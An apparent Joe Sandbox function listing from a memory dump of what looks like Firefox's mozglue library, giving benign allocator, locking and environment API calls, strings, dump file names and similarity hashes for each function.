Function 6CEFF180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(?,?), ref: 6CEFF19B

Part of subcall function 6CF1D850: EnterCriticalSection.KERNEL32(?), ref: 6CF1D904
Part of subcall function 6CF1D850: LeaveCriticalSection.KERNEL32(?), ref: 6CF1D971
Part of subcall function 6CF1D850: memset.VCRUNTIME140(?,00000000,?), ref: 6CF1D97B

mozalloc_abort.MOZGLUE(?), ref: 6CEFF209

Strings

d, xrefs: 6CEFF1F5

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSection$EnterLeavecallocmemsetmozalloc_abort
String ID: d
API String ID: 3775194440-2564639436
Opcode ID: 4ed280ff0ef905064c9b72a4719b394ac91c592f596affd1007d42bd39702221
Instruction ID: b2ccebce677011993d361fa4c9a5170e725bdbfd9c0782fff569e045160d4527
Opcode Fuzzy Hash: 4ed280ff0ef905064c9b72a4719b394ac91c592f596affd1007d42bd39702221
Instruction Fuzzy Hash: AE117F32F0564D87EB04CF58D9512FEB3B5DF8620CB21511DDC15AB712EB349986C390

Function 6CF33CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF33D19
mozalloc_abort.MOZGLUE(?), ref: 6CF33D6C

Strings

d, xrefs: 6CF33D58

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: c04d79b9592a48dd4de5dff2e64a887567257dcf1b649c4b0a7a7a1e9019f194
Instruction ID: 103cfa7b40d1a93a12bed0498a3491b706b0fe1ae0750004d5529000348830e5
Opcode Fuzzy Hash: c04d79b9592a48dd4de5dff2e64a887567257dcf1b649c4b0a7a7a1e9019f194
Instruction Fuzzy Hash: 54112731E146ACEBDB02CF69DC146EDB775EF86318B44A219DC4997602FB30A5C9C390

Function 6CF11A50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

realloc.MOZGLUE(?,?), ref: 6CF11A6B

Part of subcall function 6CF11AF0: EnterCriticalSection.KERNEL32(?), ref: 6CF11C36

mozalloc_abort.MOZGLUE(?), ref: 6CF11AE7

Strings

d, xrefs: 6CF11AB1

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalEnterSectionmozalloc_abortrealloc
String ID: d
API String ID: 2670432147-2564639436
Opcode ID: b440abc5c8e0134c3d535ebe69829f215fb9c2b59b68d8f624ad338fa66ff931
Instruction ID: 6f7a7e2cc4513ccb5c7fa7fc3b9a1c623e606adc3759364e81e0e0c0885f1000
Opcode Fuzzy Hash: b440abc5c8e0134c3d535ebe69829f215fb9c2b59b68d8f624ad338fa66ff931
Instruction Fuzzy Hash: 54115932E1425C97CB09CBA8C8145FEBBB4EF96204F04C619DC496BB02EB30E5C8C390

Function 6CF04730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CF044B2,6CF7E21C,6CF7F7F8), ref: 6CF0473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CF0474A

Strings

GetNtLoaderAPI, xrefs: 6CF04744

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 1945b71cc73666b5a7875c78e839b56dea340e48b73cf121bd7f734eae3f2a4b
Instruction ID: b9120da6be77c28a84439ffd86d1fe77b572435115f8802902aad8dfc7ba825f
Opcode Fuzzy Hash: 1945b71cc73666b5a7875c78e839b56dea340e48b73cf121bd7f734eae3f2a4b
Instruction Fuzzy Hash: 74019E76B122249FDF419F6698987697BBAEB9B711B04446AE905C7300CB70DC018FA1

Function 6CF56DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CF56E22
__Init_thread_footer.LIBCMT ref: 6CF56E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CF56E1D

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 470f533cb1ee29322fc90db7e7e5886c18264eb46dad285920d29e12f4d555ee
Instruction ID: 399a7f278b67173cb37379304e472461a8d701193aa6b15fe4bcbe31699f059d
Opcode Fuzzy Hash: 470f533cb1ee29322fc90db7e7e5886c18264eb46dad285920d29e12f4d555ee
Instruction Fuzzy Hash: AEF05035B0A140CFDB928B68FC54BC137725B23218F44015ED51546B51D721B916CAB7

Function 6CF09E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CF09EEF

Strings

NaN, xrefs: 6CF09EC1
Infinity, xrefs: 6CF09EB7

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 0dea6659863d641a07bae6bff83ab233be4ff208c5d26a4143b348f2dd7d9d92
Instruction ID: e83f2a37aec90d6dd5878eef7e328738209d228320f73411f3da7490b36e90c3
Opcode Fuzzy Hash: 0dea6659863d641a07bae6bff83ab233be4ff208c5d26a4143b348f2dd7d9d92
Instruction Fuzzy Hash: FEF0C271F24252CBDBD28F58FE5979073B1BB07718F210A1AC9040BB40E7356A46CAB2

Function 6CF55900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(MOZ_SKELETON_UI_RESTARTING,6CF751C8), ref: 6CF5591A
CloseHandle.KERNEL32(FFFFFFFF), ref: 6CF5592B

Strings

MOZ_SKELETON_UI_RESTARTING, xrefs: 6CF55915

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CloseEnvironmentHandleVariable
String ID: MOZ_SKELETON_UI_RESTARTING
API String ID: 297244470-335682676
Opcode ID: 4e5d2fd6ac90f97c9c3767febb72a9330fe3195ea3c5b4c6e0239df04991498c
Instruction ID: d59722aa4ae0b8a74eb0012292f64f627305be9ab744b1e29faa3fe9e2a7c9f5
Opcode Fuzzy Hash: 4e5d2fd6ac90f97c9c3767febb72a9330fe3195ea3c5b4c6e0239df04991498c
Instruction Fuzzy Hash: E6E0D870604250BBDB414B68E9087857FF49B2332AF518905E56883EC1C3B55C40C3B1

Function 6CF0BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CF0BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CF0BEF5

Strings

cryptbase.dll, xrefs: 6CF0BEF0

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 3086cdae310252b64d5bd26475cc78aaaecc37f4cb2069599ffaf1ec549eb83b
Instruction ID: 3ff762bf6b196546b39d58e89e0e8a6b43b66bc26a98d08e1fe3aae4e894569f
Opcode Fuzzy Hash: 3086cdae310252b64d5bd26475cc78aaaecc37f4cb2069599ffaf1ec549eb83b
Instruction Fuzzy Hash: 2BD023323D0108E7C7416B50DC09FD63B749703725F10C821F31544951C7F19410DF64

Function 6CEF50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CEF4E9C,?,?,?,?,?), ref: 6CEF510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CEF4E9C,?,?,?,?,?), ref: 6CEF5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CEF5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CEF4E9C), ref: 6CEF5234

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 3188f6633152266946fb106c0235cdbaa79f98c82de1c3f4fa2a0dc15cc72b39
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 6B918C75506616CFCB14CF08C490A56BBB1BF9A318B28C688EC689BB15D371FC42CBE0

Function 6CF308F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF7E7DC), ref: 6CF30918
LeaveCriticalSection.KERNEL32(6CF7E7DC), ref: 6CF309A6
EnterCriticalSection.KERNEL32(6CF7E7DC,?,00000000), ref: 6CF309F3
LeaveCriticalSection.KERNEL32(6CF7E7DC), ref: 6CF30ACB

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 00a84587bd1fb38cdd52068116962810c653253e16027dd343827235c8e10292
Instruction ID: 443c0deef29b36d4ed03e26cd77e4f6ce12431d5cceceb5ef5abdb2f5dca03c3
Opcode Fuzzy Hash: 00a84587bd1fb38cdd52068116962810c653253e16027dd343827235c8e10292
Instruction Fuzzy Hash: CB514A32B125749FEF49DB54E400BA633B5EB82B24B25523BD87997F80C770EC0286E0

Function 6CF559C0 Relevance: 5.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?,?,?,?,?,?,?,?,00000008,?,6CF2E56A,?,|UrlbarCSSSpan,0000000E,?), ref: 6CF55A47
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,00000008,?,6CF2E56A,?,|UrlbarCSSSpan), ref: 6CF55A5C
free.MOZGLUE(?), ref: 6CF55A97
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6CF55B9D

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$mallocmemset
String ID:
API String ID: 2682772760-0
Opcode ID: da2c80a8c8523aa65e2155b5431c4c1269139085289a05786eacb3fb54822372
Instruction ID: 3de41edf79a63911b39d7bf47c8108d3413f1ed5472da3e6c51d16ef2ba2e2fb
Opcode Fuzzy Hash: da2c80a8c8523aa65e2155b5431c4c1269139085289a05786eacb3fb54822372
Instruction Fuzzy Hash: 7F518BB06083409FE705CF28C8C0B1BBBE4EF9A318F44896DE9889B646D774D954CB62

Function 6CF4B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CF4B2C9,?,?,?,6CF4B127,?,?,?,?,?,?,?,?,?,6CF4AE52), ref: 6CF4B628

Part of subcall function 6CF490E0: free.MOZGLUE(?,00000000,?,?,6CF4DEDB), ref: 6CF490FF
Part of subcall function 6CF490E0: free.MOZGLUE(?,00000000,?,?,6CF4DEDB), ref: 6CF49108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CF4B2C9,?,?,?,6CF4B127,?,?,?,?,?,?,?,?,?,6CF4AE52), ref: 6CF4B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CF4B2C9,?,?,?,6CF4B127,?,?,?,?,?,?,?,?,?,6CF4AE52), ref: 6CF4B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CF4B127,?,?,?,?,?,?,?,?), ref: 6CF4B74D

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: c4e883398c872f1f1e0489ae880e62ccaf5dcb1ca1968f158dde313495e74547
Instruction ID: 3bd50f68f5686cd8d62a219cb8e52a5f29e71d4664ae965179074ab9ad39f327
Opcode Fuzzy Hash: c4e883398c872f1f1e0489ae880e62ccaf5dcb1ca1968f158dde313495e74547
Instruction Fuzzy Hash: EE51C072A05A168FDB14CF18C98475EBBB5FF45305F45C96DC85AAB703DB31A804CBA1

Function 6CF4DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CF3FF2A), ref: 6CF4DFFD

Part of subcall function 6CF490E0: free.MOZGLUE(?,00000000,?,?,6CF4DEDB), ref: 6CF490FF
Part of subcall function 6CF490E0: free.MOZGLUE(?,00000000,?,?,6CF4DEDB), ref: 6CF49108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CF3FF2A), ref: 6CF4E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CF3FF2A), ref: 6CF4E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CF3FF2A), ref: 6CF4E0FE

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 1c11bca7df65083fd5a063d69bb6a2cee5b0a645d17568cd8f9455242accee40
Instruction ID: a28d823bf373ba5cf4ca7e812bdab02a9566e07941db674ffe802fc3e3c60755
Opcode Fuzzy Hash: 1c11bca7df65083fd5a063d69bb6a2cee5b0a645d17568cd8f9455242accee40
Instruction Fuzzy Hash: BE41E3B2704216CFEB14CF6CD88075ABBB6AB45309F158539D526DBB41E731E904CBE2

Function 6CF56180 Relevance: 5.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CF561DD
memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CF5622C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CF56250
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF56292

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 84f156a58a9313759195b50378bcbc77094cb0fdb09909e925c48dc636677949
Instruction ID: 22948f7d0b4652d3404f7128aed10cdc8b94043955157b9aeb45ccf1432c78ae
Opcode Fuzzy Hash: 84f156a58a9313759195b50378bcbc77094cb0fdb09909e925c48dc636677949
Instruction Fuzzy Hash: 0931E871A0060A8FDB04CF28D881BAA73F9FB65308F518639D56AD7751EB31E5A8C750

Function 6CF46E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CF46EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CF46EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CF46F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF46F5C

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: f4e6cdca33c681072e6588f72bd6cc03171828280ee6405441656a14fa38c016
Instruction ID: 857cff64b80e0ccc20570f7bb9553365f034de40a38bb94041d9ad183ab2cd62
Opcode Fuzzy Hash: f4e6cdca33c681072e6588f72bd6cc03171828280ee6405441656a14fa38c016
Instruction Fuzzy Hash: D431C571A1060A8FDB04CF2CD980AAE77E9EB85344F508539E45AC7652FB31E659C7A0

Function 6CF5B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CF00A4D), ref: 6CF5B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CF00A4D), ref: 6CF5B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CF00A4D), ref: 6CF5B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CF00A4D), ref: 6CF5B67F

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 75715e21da07e870a8ed98044f389cd404a982abdce82a281e1ceb98f39ad32e
Instruction ID: c655feb8e4fa21d0a9f431e9f62deff0c44288f4b8b505d2a2a535da07dcacd0
Opcode Fuzzy Hash: 75715e21da07e870a8ed98044f389cd404a982abdce82a281e1ceb98f39ad32e
Instruction Fuzzy Hash: 1731F772A012268FDB10CF58C84465EBBF5FF91304F9689A9C906DB781DB31E925CBE1

Function 6CF2F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CF2F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CF2F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CF2F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CF2F668

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: e40b1c7ef7ab1cf90fa93250420e52cadec0768226ca5e97dc164f73e16b18e3
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: A8314F71A10224AFDB54CF5ECCC1E9B7BB5EB84354B188539FA4A8BB04D635E9448B90

Function 6CEF39A0 Relevance: 5.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF7E744,6CF57765,00000000,6CF57765,?,6CF16112), ref: 6CEF39AF
LeaveCriticalSection.KERNEL32(6CF7E744,?,6CF16112), ref: 6CEF3A34
EnterCriticalSection.KERNEL32(6CF7E784,6CF16112), ref: 6CEF3A4B
LeaveCriticalSection.KERNEL32(6CF7E784), ref: 6CEF3A5F

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 51161e05d66be12e9cb1647e9e278f023eafb0f44895cbca2377a5b285e21494
Instruction ID: 15d3c7620ff8fb7d3f7b9530f6674a655626b58abf7b5b3ef1f4758955ab9c32
